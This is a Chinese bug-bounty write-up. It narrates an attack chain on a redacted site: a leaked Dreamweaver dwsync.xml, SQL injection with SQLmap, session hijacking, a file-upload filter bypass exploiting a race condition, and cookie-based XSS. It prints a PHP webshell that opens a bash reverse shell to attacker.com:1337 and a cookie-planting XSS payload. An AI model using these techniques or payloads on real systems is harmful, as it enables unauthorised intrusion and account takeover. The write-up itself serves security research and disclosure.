在bugcrowd上挖漏洞的时候,我发现基于cookie型的XSS漏洞,给出的评级仅是P5,并没有达到严重的程度,这将会导致可能拿不到奖金,这是非常遗憾的一件事情。
在bugcrowd中搜索一段时间之后,发现自己找不到具有XSS漏洞子域名,直到使用目录爆破手段的时候,在其中一个子域名上,我找到了一个有趣的文件。
https://redacted.com/dir/_notes/dwsync.xml
文件dwsync.xml
是由Dreamweaver生成的,这个文件中包含与网站文件相关的信息。
默认情况下,访问网站需要凭据,我们无法在网站上创建帐户。如上所述,通过dwsync.xml
文件,我们可以获得与目标网站上的文件相关的信息。所以我试图访问其中一个文件,例如我试图访问该文件redacted.php
。
在网站上看到会出现一条错误消息Undefined index: ver
,这意味着在页面上有一些ver尚未定义的变量。为此,我还将URL更改为:
https://redacted.com/dir/redacted.php?ver=1
虽然页面的外观会发生变化,但显示数字1
不知道数字1
的含义是什么,但是看到URL中的参数,我试着在符号上添加参数,结果......
这个回显的错误看起来很熟悉,我立即尝试在SQLmap的帮助下进行SQL注入。获得下面的数据库列表:
由于已经发现了SQL注入漏洞,我试着将shell上传到目标服务器,但是结果失败了,所以我只能使用通过使用sql注入得到的网站数据,登录网站。
在提取redacted_db
数据库时,我找到了一个名为user_tbl
的表,在表格user
中,提供了目标站点很多信息,但是很不幸的是,password使用了MD5进行加密,当我试着破解的时候,没有得到任何反应。
我只能去找在该数据库中的其它表,继续深入,我找到一个名为session_tbl
的表,在该表中,只有三个列:id
,user_id
和session
。
我认为session
中包含该网站的用户,我在user_tbl
表中,查找具有更高级别的用户,并在表中查找session
列,
然后,我尝试使用会话名称将从数据库获得的会话session
值输入到Cookie网站中,最后我成功的登录了该网站。
在登录目标站点之后,我继续寻找其它可以被利用的漏洞,在网站有一个文件上传的功能,我试着测试一下。
我尝试上传后缀名为.phtml
的文件,但是被拒绝上传。
但我怀疑,过滤器只能在客户端运行。也就是说,有可能在Burpsuite等工具的帮助下绕过这个过滤。所以我试着使用burp,再次上传文件,这次是的后缀名是:.jpg
,然后使用Burpsuite拦截,将后缀名改为.phtml
的后缀名。
使用上述方法后,文件已经成功上传,查看响应,该文件存储在AWS中,而不是存储在目标站点上。
https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml
发现上传的文件存储在AWS中,知道自己在这个文件上可以做的事情并不多,因为我们的目标是Web服务器而不是AWS服务器。所以我也尝试了解目标服务器显示的响应。
/var/www/html/redacted/../redacted****/var/www/html/redacted/../redacted/info.phtml<br>Uploading part 2 of /var/www/html/redacted/../redacted/info.phtml.
Uploaded /var/www/html/redacted/../redacted/info.phtml to https://storage-redacted.s3-ap-southeast-1.amazonaws.com/redacted_dir/redacted_file.phtml.
SUCCESS 52673, 98235
从上面的响应中,我假设上传的文件除了存储在AWS上之外,有可能存储在目标站点的redacted
目录下。所以我尝试访问以下网址:
https://redacted.com/redacted/redacted/info.phtml
但是找不到该文件
经过一段时间的思考之后,我认为如果回响显示目录,那么redacted
与我上传的文件肯定是相关的。
假设:我们上传的文件存储在redacted
中的sementara
目录下,然后经过一段时间转移AWS服务器中的lempar
目录下。
如果上述的假设是正确的,那么在转移到AWS之前,我们的文件将在目标站点的服务器上停留一段时间。
为了验证这个假设,我使用burpsuite进行爆破redacted
前面目录中文件的url。
有一段时间该文件位于目标服务器上(HTTP回显是200的时候),并且在该文件消失不久(HTTP回显是404的时候),表明该文件已经转移至AWS服务器中。
根据上面的描述,我们可以上传PHP webshell以从目标网站拿到shell
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/1337 0>&1'");
最后我还可以访问目标服务器。
在拿到shell之后,我放置了一个包含javascript的HTML文件,以便在该网站上触发XSS攻击。
使用的HTML代码如下
<script>document.cookie = "evil=%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E@;path=/;domain=.redacted.com;";</script>
我们可以在redacted.com
上创建一个名为Evil的cookie,cookie中包含XSS payload:<img src=x onerror=alert(1)>
,因此,当访问该站点时,将加载Cookie并触发XSS。
感谢你的阅读,希望这篇文章可以给你启发。